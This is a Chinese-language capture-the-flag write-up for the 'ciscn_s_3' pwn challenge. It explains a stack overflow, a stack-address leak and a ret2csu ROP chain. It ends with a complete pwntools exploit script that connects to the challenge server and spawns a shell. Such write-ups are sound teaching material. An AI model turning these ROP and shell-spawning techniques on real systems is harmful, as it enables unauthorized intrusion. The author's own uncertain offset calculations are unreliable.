# ciscn_s_3

# 1. 下载附件后查看程序信息

可以看到是 64 位程序,并且开启了 NX

# 2. 利用 ida 反汇编

发现有个 vul 函数,进入查看

发现是 sys_read 函数,并且可以通过 sys_read 溢出,查看汇编代码

发现有 syscall,由此判断是系统调用,那么我们通过 控制寄存器 的方式来进行系统调用然后 getshell

# 3. 漏洞利用分析

此处放上之前的文章:https://vvwwvv.cn/2023/08/29/Linux/%E7%B3%BB%E7%BB%9F%E8%B0%83%E7%94%A8/

上面链接里能看到 64 位系统的系统调用号,找到 execve 命令是 59(0x3b)


int execve(const char *filename, char *const argv[], char *const envp[]);

//const char *filename 为要执行文件的地址

//char *const argv[]:传递给程序的完整参数列表,包括argv[0],它一般是程序的名

//char *const envp[]:一般传递NULL,表示可变参数的结尾。

我们要执行的是 execve("/bin/sh",0,0) 来 getshell

# 4. 控制寄存器

将 0x3b 存入 rax 寄存器,64 位系统调用寄存器顺序依次为:rdi,rsi,rdx

本想着通过 Ropgadgets 查找对应寄存器构造 rop 链

但是发现无法控制 rax 寄存器与 rdx 寄存器,所以要使用其他方法

查看汇编发现有个 gadgets 函数,但是不知道为什么在代码流程图里没有显示后面的部分

此处看到 0x3b 存入了 rax,正好是 execve 的系统调用号 (也可以在 ida 窗口中按 alt+t 查找 mov rax,3bh 指令,找到指令存储位置为 0x4004E2)

接着需要控制相应的传参寄存器,rdi,rsi,rdx,rcx, r8, r9。因为可以溢出的字符很多,那么我们可以利用 csu_init(ret2csu) 这一段代码,因为 64 位程序需要该函数对 libc 进行初始化,一般的程序都会调用 libc 函数,所以 一定存在 这个函数,并且该函数先于 main 函数执行

原理:https://vvwwvv.cn/2023/08/24/pwn/ROP/ret2csu

# 5. 构造 rop

通过 ida 可以找到 csu 段地址,下面为 gadgets1

当我们进入 gadgets1 时,执行了 add rsp ,8 所以要填充 8 个字符,后续的 rbx 要为 0 才能不跳转,rbp 为 1 使其与后续加 1 后的 rbx 相同,r12 不需要所以可以任意,r13,r14,r15 分别会在 gadgets2 控制 rdx,rsi,rdi,填入我们需要的值,具体值如下:

  • rbx=0
  • rbp=1
  • r12=0
  • r13=0 (对应 rdx=0)
  • r14=0 (对应 rsi=0)
  • r15="binsh" 的地址 (对应 rdi="/bin/sh")

此处执行的是 execve("/bin/sh",0,0) execve( rdi , rsi , rdx )

由此我们需要找到 "/bin/sh" 地址,由于程序内找不到 "/bin/sh" , 所以需要我们自己写入 "/bin/sh"

由上面的图可以看到,sys_wrtie 会输出 0x30 个字符,而 buf 在栈上只有 0x10 的大小,后面紧接着的 0x10 为 ret 和初始的 rbp 所占空间,后面 8 个字符为栈上的某一地址, 利用该地址减去与 "/bin/sh" 地址的偏移量 即可获得 "/bin/sh" 地址。(这里是因为开启了保护每次在栈上的地址不同,而偏移是不会变的)

查看方式 1

由上面的图片可以看出输入的字符串的地址(这里因为溢出所以应该为 ddf0),而看到距离 rsp 为 0x20 的地方输出了我们调试的程序的名称,这个一般是保存在 avrg [0],这个是栈上的地址

查看方式 2

首先为写入的 buf 地址,然后在 0x20 大小后为栈地址,原因入下图,因此通过 sys_write 即可泄露

由于开启了保护所以写入栈的位置是不固定的,但是可以通过当此运行时泄露的栈地址减去固定的偏移量即可得到写入的字符串地址

# 7. 字符串地址计算方法:

通过上面的 0x7fffffffdf38-0x7fffffffddf0=0x148 , 在计算栈的偏移时是 0x148(不知道是不是因为计算错误),但是线上靶场的环境栈的偏移是 0x118。

在本地可以利用 patchelf 切换 libc 版本

patchelf --set-interpreter ~/Tools/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so --set-rpath ~/Tools/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ ./ciscn_s_3

有了偏移之后就可以通过偏移量来计算输入的字符串地址:

输入字符串地址 = 泄露的栈地址 - 0x118

至此就得到了 "/bin/sh" 地址

# 8. 构造 exp

因为 "/bin/sh" 占 7 个字节,需要改成 "/bin/sh\x00" 来用隔断符来满足 8 个字节进行对齐

先执行 syscall 还是先到 gadgets:

先 gadgets 最后返回到 syscall

系统调用号与 syscall 之间的执行顺序:

系统调用号执行后返回到 syscall,参数都在前面

exp:

from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
p=remote('node4.buuoj.cn',26711)
e=ELF("./ciscn_s_3")
main=0x04004ED
execve=0x0004004E2 #mov rax,3BH; ret;
syscall=0x000400501
gadgets1=0x000040059a
gadgets2=0x0000400580
rdi_ret=0x004005a3
def csu(rbx,rbp,r12,r13,r14,r15):
    payload=b"/bin/sh\x00"+b"a"*8+p64(gadgets1)+p64(rbx)+p64(rbp)+p64(r12)+p64(r13)+p64(r14)+p64(r15) #此处 r15 的值可有可无,因为后面仍然调用 rdi_ret 来传参
    payload+=p64(gadgets2)+p64(rdi_ret)+p64(binsh)+p64(execve)+p64(syscall)
    p.send(payload)
    
payload1=b"/bin/sh\x00"+b"a"*8+p64(main)  # 此处之间填充到 ret,没有考虑 rbp,gdb 中调试就可以发现
p.send(payload1)
p.recv(0x20)
binsh=u64(p.recv(8))-0x118 #减去偏移获得 "/bin/sh" 地址
csu(0,1,binsh+0x50,0,0,binsh)  # 这里的 binsh+0x50 是传入字符串 "/bin/sh" 后开始,到 p64(execve)
#p.recv()
p.interactive()

借用别人的一张图理解 binsh+0x50

参考:

http://t.csdn.cn/ZLFxD

http://t.csdn.cn/SSY9o

注意:不知道是不是因为部分地方没写对,用之前的 csu 方法有点问题,总要 binsh+0x50 才可以